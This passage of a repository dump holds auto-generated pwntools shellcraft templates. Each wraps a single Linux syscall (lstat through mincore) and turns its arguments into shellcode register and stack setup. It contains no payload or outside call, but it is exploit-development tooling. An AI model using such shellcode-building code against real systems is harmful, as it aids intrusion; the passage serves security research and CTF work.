    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lstat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lstat(file, buf) -> str\n\nInvokes the syscall lstat.\n\nSee 'man 2 lstat' for more information.\n\nArguments:\n    file(char*): file\n    buf(stat*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lstat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lstat'])\n%>\n    /* lstat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/lstat64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lstat64(file, buf) -> str\n\nInvokes the syscall lstat64.\n\nSee 'man 2 lstat64' for more information.\n\nArguments:\n    file(char*): file\n    buf(stat64*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lstat64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_lstat64'])\n%>\n    /* lstat64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/madvise.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>madvise(addr, length, advice) -> str\n\nInvokes the syscall madvise.\n\nSee 'man 2 madvise' for more information.\n\nArguments:\n    addr(void*): addr\n    length(size_t): length\n    advice(int): advice\nReturns:\n    int\n</%docstring>\n<%page args=\"addr=0, length=0, advice=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'advice']\n    argument_values = [addr, length, advice]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_madvise']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_madvise'])\n%>\n    /* madvise(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/madvise1.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>madvise1(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall madvise1.\n\nSee 'man 2 madvise1' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_madvise1']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_madvise1'])\n%>\n    /* madvise1(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mbind.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mbind(addr, length, mode, nodemask, maxnode, flags) -> str\n\nInvokes the syscall mbind.\n\nSee 'man 2 mbind' for more information.\n\nArguments:\n    addr(void*): addr\n    length(unsigned): length\n    mode(int): mode\n    nodemask(unsigned*): nodemask\n    maxnode(unsigned): maxnode\n    flags(unsigned): flags\nReturns:\n    long\n</%docstring>\n<%page args=\"addr=0, length=0, mode=0, nodemask=0, maxnode=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['addr']\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'mode', 'nodemask', 'maxnode', 'flags']\n    argument_values = [addr, length, mode, nodemask, maxnode, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mbind']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mbind'])\n%>\n    /* mbind(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/membarrier.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>membarrier(cmd, flags) -> str\n\nInvokes the syscall membarrier.\n\nSee 'man 2 membarrier' for more information.\n\nArguments:\n    cmd(int): cmd\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"cmd=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'flags']\n    argument_values = [cmd, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_membarrier']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_membarrier'])\n%>\n    /* membarrier(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/memfd_create.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>memfd_create(name, flags) -> str\n\nInvokes the syscall memfd_create.\n\nSee 'man 2 memfd_create' for more information.\n\nArguments:\n    name(char*): name\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'flags']\n    argument_values = [name, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_memfd_create']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_memfd_create'])\n%>\n    /* memfd_create(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/migrate_pages.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>migrate_pages(pid, maxnode, old_nodes, new_nodes) -> str\n\nInvokes the syscall migrate_pages.\n\nSee 'man 2 migrate_pages' for more information.\n\nArguments:\n    pid(int): pid\n    maxnode(unsigned): maxnode\n    old_nodes(unsigned*): old_nodes\n    new_nodes(unsigned*): new_nodes\nReturns:\n    long\n</%docstring>\n<%page args=\"pid=0, maxnode=0, old_nodes=0, new_nodes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'maxnode', 'old_nodes', 'new_nodes']\n    argument_values = [pid, maxnode, old_nodes, new_nodes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_migrate_pages']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_migrate_pages'])\n%>\n    /* migrate_pages(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mincore.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>mincore(start, length, vec) -> str\n\nInvokes the syscall mincore.\n\nSee 'man 2 mincore' for more information.\n\nArguments:\n    start(void*): start\n    length(size_t): length\n    vec(unsigned*): vec\nReturns:\n    int\n</%docstring>\n<%page args=\"start=0, length=0, vec=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['start']\n    can_pushstr_array = []\n\n    argument_names = ['start', 'length', 'vec']\n    argument_values = [start, length, vec]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_mincore']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_mincore'])\n%>\n    /* mincore(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/mkdir.asm",
